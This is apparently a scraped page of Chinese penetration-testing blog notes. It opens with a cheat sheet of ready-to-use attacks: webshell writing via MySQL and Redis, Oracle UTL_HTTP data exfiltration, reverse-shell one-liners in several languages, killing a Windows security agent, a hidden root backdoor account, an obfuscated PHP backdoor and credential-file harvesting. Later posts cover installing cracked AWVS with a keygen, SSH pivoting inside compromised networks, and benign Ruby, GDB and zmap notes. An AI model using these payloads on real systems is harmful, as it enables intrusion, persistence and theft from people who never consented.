在使用OpenShift的服务时安装程序但不知道mysql的主机地址,可以通过
mysql命令行进入mysql数据库的user表中查询对应的数据库地址,具体方法如下
1 | mysql -u username -ppassword |
查找到的主机就是数据库的地址,端口默认是3306
在使用OpenShift的服务时安装程序但不知道mysql的主机地址,可以通过
mysql命令行进入mysql数据库的user表中查询对应的数据库地址,具体方法如下
1 | mysql -u username -ppassword |
查找到的主机就是数据库的地址,端口默认是3306
PHP相关
1 | <?php copy("http://x.x.x.x/shell.txt", "d:\www\shell.php"); ?> |
Mysql数据库
phpmyadmin爆路径
1 | http://url/phpMyAdmin/libraries/select_lang.lib.php |
SQL语句导出shell:
1 | select "<?php eval($_POST['1']);?>" into outfile 'C:\www\shell.php'; |
Redis数据库
写shell:
1 | config set dir D:\www |
Oracle数据库
查数据库ip
1 | select sys_context('userenv','ip_address') from dual |
通过外连回传数据
1 | SELECT UTL_HTTP.request('http://target.com/getdata?data='||TABLE_NAME) FROM USER_TABLES WHERE ROWNUM<=1 |
查询所有表
1 | SELECT * FROM ALL_TABLES |
查询当前用户表
1 | select table_name from user_tables; |
查询所有表按大小排序
1 | SELECT TABLE_NAME,NUM_ROWS FROM ALL_TABLES order by NUM_ROWS desc |
查询表前十条
1 | select * from users where rownum < 10 |
分页查询 2000000 到 4000000
1 | SELECT * FROM (SELECT e.*,ROWNUM rn FROM (select * from user ) e WHERE ROWNUM <= 4000000) WHERE rn > 2000000 |
查询当前编码
1 | select userenv('language') from dual; |
命令行执行
1 | export NLS_LANG="american_america.AL32UTF8" |
拖库脚本
JSP1
1 | <%@ page contentType="text/html;charset=UTF-8"%> |
JSP2
1 | <%@ page contentType="text/html;charset=UTF-8"%> |
ColdFusion
1 | <CFSET USERNAME="user"> |
反弹shell
bash
1 | bash -i >& /dev/tcp/1.1.1.1/1234 0>&1 |
1 | rm -f /tmp/p; mknod /tmp/p p && telnet 1.1.1.1 1234 0/tmp/p |
ruby
1 | ruby -rsocket -e'f=TCPSocket.open("1.1.1.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
perl
1 | perl -e 'use Socket;$i="1.1.1.1"; |
python
1 | python -c 'import socket,subprocess,os; |
php
1 | php -r '$sock=fsockopen("1.1.1.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
Windows取消共享文件夹安全警告
1 | @echo off |
kill安全狗3.x
1 | ntsd -c q -pn SafeDogGuardCenter.exe |
其他
python Simple HTTP服务:
1 | python -m SimpleHTTPServer |
Linux相关技巧
压缩目录
1 | zip -r root.zip /root/* |
添加用户并设置密码
1 | useradd -p `openssl passwd -1 -salt 'lsof' admin` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/lsof lsof |
收集所有.sh .pl .py .conf .cnf .ini .*history .pass (/usr/share目录里面的除外) 并打包成zip
1 | find / \! -path “/usr/share/*” -regex “.*\.sh$\|.*\.pl$\|.*\.py$\|.*\.conf$\|.*\.cnf$\|.*\.ini$\|.*\/\..*history$\|.*\/\..*pass.*” -print|zip pack.zip -@ |
array_push 后门
1 | array_map("ass\x65rt",(array)$_REQUEST['array']); |
AWVS,即 Acunetix Web Vulnerability Scanner,不知道作者是谁或者哪个团队,只知道他是老外搞出来的一款重型扫描器。
哥这一年接触的扫描器比较多,A厂B厂C厂的扫描器一堆,个人观点是web扫描器中AWVS并不是最优秀的。但是不得不说,AWVS一定是
最便携的扫描器之一,一个安装包即可搞定。
说到安装包,自然得提一下AWVS的安装。
那么国外的这款神器是不是收费的呢,答案当然是yes,虽然不要998,但是至少也应该够屌丝吃几顿早饭的了。
哥在写这篇文章的时候AWVS的最新版本是10.x
这里给个传送门,是H大的原帖地址,想了解相关内容的可以去看看此贴:
1 | http://www.52pojie.cn/thread-377625-1-1.html |
原帖里留下的百度网盘的下载地址:
1 | 链接:http://pan.baidu.com/s/1i3Br6ol 密码:u60f |
希望有幸下载到此款神器的小朋友也不要拿它去做伤天害理的事情。
哥一直是使用H大分享的地址里的安装包安装的,虽然也会被360报毒,不过一直很相信H大以及吾爱破解论坛里各位大牛们的人品,所以很坦然的装在了主机上。如果你是从别的地方下载的安装包,有没有被绑马我就不知道了。
下载之后先安装AWVS主程序,就是比较大的那个,会有个注册机藏在压缩包里,解压之后运行,在响起动人的超级玛丽音乐之后点击patch,即可完成注册。
这一切都是Hmily大牛的神作,10.x的注册机比9.x的注册机用户体验要好很多,这里再次向Hmily致敬。
说完了安装,接下来说说使用。
这是最基本的扫描界面,给个截图,自己体会
填上要扫描的站点地址,选择想要扫描的漏洞类型,或者默认的default是扫描全部的漏洞,接着start就可以了。
既然是玩转AWVS,那么常规的玩法自然就不提了,这里说一下除了基本扫描之外其他的功能。
1.带着cookies扫描
有时候我们需要带着Cookies扫描一下后台啊或者用户页面什么的,这个时候可以在
Scan Settings->Custom Cookies选项中添加我们需要携带的cookies,来对需要登录的页面进行扫描。
也可以在Scan Settings->Input Fields中添加我们需要用来登录的用户名和密码,但是这比指定cookies不爽的地方就是
遇到验证码就歇菜了,建议不同情况下区别对待。
2.站点爬虫
有的时候我们不是想扫描某个站点,只是想用爬虫爬出站点的基本结构,这时候就需要用Site Crwaler了
爬虫只对站点进行爬行,不进行漏洞扫描。
3.目标发现
渗透测试很苦逼有木有,资产清单里都是一个c一个c的列有木有
而目标发现,就是让我们探测ip段的
相当于一个端口扫描器了。
4.子域名检测
通常对一个目标进行渗透的时候,除了段与段之外,还有子域名,而AWVS这款神奇工具,也自带子域名探测功能
awvs的子域名探测是基于字典和枚举的,同时扫描时也可以指定用来检测解析的DNS服务器,有时候可以几个DNS服务器交换着
检测,以便更加准确的扫描出子域名。
5.将AWVS部署在web服务器中
有时候我们不想在本地进行扫描,太占带宽和cpu了,这时候可以把AWVS安装到windows服务器中,通过浏览器访问awvs的web服务
可以看见默认的端口是8183,有一些web接口认证相关的选项,可以为web接口设置一个密码,或者指定https选项等等
登录web接口之后的界面如下:
可以看见,通过web接口,一样可以发起扫描任务,指定扫描选项等等。
(原创内容,转载请注明出处:http://chorder.net/)
这篇文章就到此为止,下一篇再总体说一说http fuzzer,sniffer,editor,compare等功能。
【原创内容,转载请注明来自Chorder’s Mainpage:https://www.chorder.net】
玩转AWVS(一):https://chorder.net/2015/12/02/玩转AWVS(一)/
玩转AWVS(二):https://chorder.net/2016/02/03/玩转AWVS(二)/
python:
先按F5,之后将下面的命令保存,再设置快捷键。
1 | cmd /k c:\python27\python "$(FULL_CURRENT_PATH)" & PAUSE & EXIT |
我使用的是Ctrl+F9
之后按Ctrl+s保存更改,再按Ctrl+F7即可快速在cmd中运行代码,方便调试。
ruby
1 | cmd /k C:\Ruby22-x64\bin\ruby "$(FULL_CURRENT_PATH)" & PAUSE & EXIT |
对站点简单的做了一点SEO,把一些有用的网址记录一下。
http://tool.lusongsong.com/seo/seo.asp?url=chorder.net&page=60&auto=yes&ttime=30
http://www.seopk.net/?domain=chorder.net
http://seo.itzmx.com/
http://www.atool.org/extlink.php
其原理就是通过增加在站长工具,百度等搜索引擎内搜索相应的次数来提高SEO排名。
tpp:命令行ppt工具
slurm:流量查看工具
script:命令录制
录制:
1 | script -t 2>test.time -a test.txt |
播放:
1 | scriptreplay test.time test.txt |
fortune/fortune-zh:随机输出短语和诗词
cowsay:以动物的形象说话
联合起来使用:
1 | fortune-zh|cowsay -f "$(ls /usr/share/cowsay/cows | sort -R | head -1)" |
cmatrix:
toilet:输出ASCII艺术字
figlet:另一款将字符进行图形化输出
xeyes:在屏幕上显示一只会随鼠标移动而移动的眼睛
彩蛋:星球大战在线播放
1 | telnet towel.blinkenlights.nl |
使用GDB对GCC编译出的ELF文件进行调试。
首先在编译的时候,需要加上-g参数:
gcc -g -o test test.c -Wall
这样才能在编译的时候产生符号表,GDB才可以载入。
编译好程序以后,使用gdb test载入程序
添加断点:b 行号
运行:r
单步执行(next):n
跟踪步入(step):s
恢复执行(continue):c
打印变量值(print):p 变量名
查看断点信息:info b
列出源代码(list)l
退出:q
汇编相关:
查看汇编格式:show disassembly-flavor
将汇编格式转换成intel:set disassembly-flavor intel
将汇编格式转换成at&t:set disassembly-flavor att
显示汇编代码:disassemble 函数名
在很多时候拿到了内网的一台主机,我们需要用它做跳板来对内网进一步扩大战果。
也许方法很多,meterpreter,nc等等。但是最方便也最有可能穿透防火墙的方法,就是用ssh。
分为四种类型:
本地转发,远程转发,跳板转发,动态转发。
本地转发
假设攻击机A主机为本机,ip是y.y.y.y,用户是hacker,被攻击且用作跳板的主机是B,ip是
x.x.x.x,对应的内网ip是10.0.0.2,用户是root,ssh的端口是22。
假设B机器上的80端口开放了一个服务,但是只有B主机本机上才能访问,这时候可以使用本地转
发,在A机器上执行命令:
1 | ssh -L 8080:localhost:80 [email protected] |
这样,在本机A中访问localhost:80,数据被转发到B主机的80端口,即实现了访问B机器的本地
服务。
很常见的一个实例就是攻击者拿下了某目标内部的网关服务器,但是出于安全考虑网管的web控
制台界面只有在网关服务器自身上才能访问,这时候就可以通过这种方式转发流量,方便的操作
网关服务器的web控制台了。
上面的情况,是基于A主机可以ssh到B的情况,但假如从A到B的ssh连接被拒绝,而恰好B主机的
防火墙没有禁止其使用ssh外连,这时候就可以通过远程转发来实现上述同样的效果。
在B机器上执行命令:
1 | ssh -R 8080:localhost80 [email protected] |
这时候在A机器上访问自身的8080端口,数据也是被转发到了B主机的80端口上的。
可见,这种方式受到的局限比较多,因为如果能够在B主机上使用ssh外连了,还需要通过ssh来
转发流量的情况也是很少见的,但也不是没有。
以上两种转发,都是只对跳板服务器自身的服务,很多时候,渗透需要的是内网中一台稳定的跳板,
这时候就可以使用
跳板转发来实现多主机之间转发。
假设现在需要通过B主机作为跳板,来访问与B处于同一内网中的机器C的80端口,假设C的ip是
10.0.0.3,这时候可以在攻击机上执行如下命令:
1 | ssh -g -L 8080:10.0.0.3:80 [email protected] |
此时在A主机上8080端口的流量就被转发到C主机的80端口上了。
最有用的就是最后要介绍的,
动态转发,这种转发可以将流量随心所欲的转发,此时实现的效果就相当于代理服务器,在A机器
上用下面的命令实现:
1 | ssh -D 8080 [email protected] |
此时在A机器上配置SOCKS代理端口localhost:8080,就可以以B为代理服务器随心所欲的畅游。
最后补充使用ssh进行X转发的命令,其实很简单:
1 | ssh -X [email protected] |
这样连接上以后,目标机器的X服务器所做的操作都会通过x协议发送到本地,很方便的实现了可
视化操作。
例如在终端输入firefox,就可以在本地弹出一个实际上运行在远程的firefox进程。
1.数组遍历方法总结
(1)
1 | array = (1..10).to_a |
(2)
1 | length = array.length |
(3)
1 | length = array.length-1 |
(4)
1 | for i in array do |
(6)
1 | length = array.length |
(7)
1 | length = array.length |
(8)
1 | array.each_index do i |
2.Ruby连接数据库
(1).mysql
1 | require 'mysql' |
(2).redis
1 | #!/bin/ruby |
(3).sqlite3
1 | require 'sqlite3' |
3.Ruby socket
服务端:
1 | require 'socket' |
客户端:
1 | require 'socket' |
4.ruby gem 文档
rubygems.org上main的gem文档访问起来太慢了,其实装了gem的机器本身就自带doc的功能
使用下列命令可以启动gem自带的文档
1 | gem server --port 1234 |
然后用浏览器访问http://localhost:1234就可以查看相关的gem文档。
5.ruby改变控制台输出内容的颜色
1 | puts "\033[1m前景色\033[0m\n" |
6.一些比较特别的包
Ruby json gem
https://rubygems.global.ssl.fastly.net/gems/json-1.8.3.gem
树莓派wiringpi gpio包
http://pi.gadgetoid.com/article/wiringpi-as-a-ruby-gem
7.安装rvm的正确姿势
参考自:http://rvm.io/rvm/install
首先添加gpg公钥:
1 | gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 |
安装稳定版本的rvm
1 | curl -sSL https://get.rvm.io | bash -s stable --ruby |
Usage: zmap [OPTIONS]… [SUBNETS]…
基本参数:
1 | -p, --target-port=port 要扫描的TCP端口号(SYN扫描) |
扫描选项:
1 | -n, --max-targets=n 指定探测目标的最大数目(数字或者地址空间的百分比) |
网络选项:
1 | -s, --source-port=portrange 扫描包的源端口 |
高级选项:
1 | -M, --probe-module=name 选择探测模式(默认是tcp_synscan) |
附加选项:
1 | -C, --config=filename 从文件中读取指定的配置选项(默认是/etc/zmap/zmap.conf) |
示例:
1 | zmap -p 80 -o - (扫描整个因特网寻找80端口开放的主机并输出到标准输入输出) |
Update your browser to view this website correctly. Update my browser now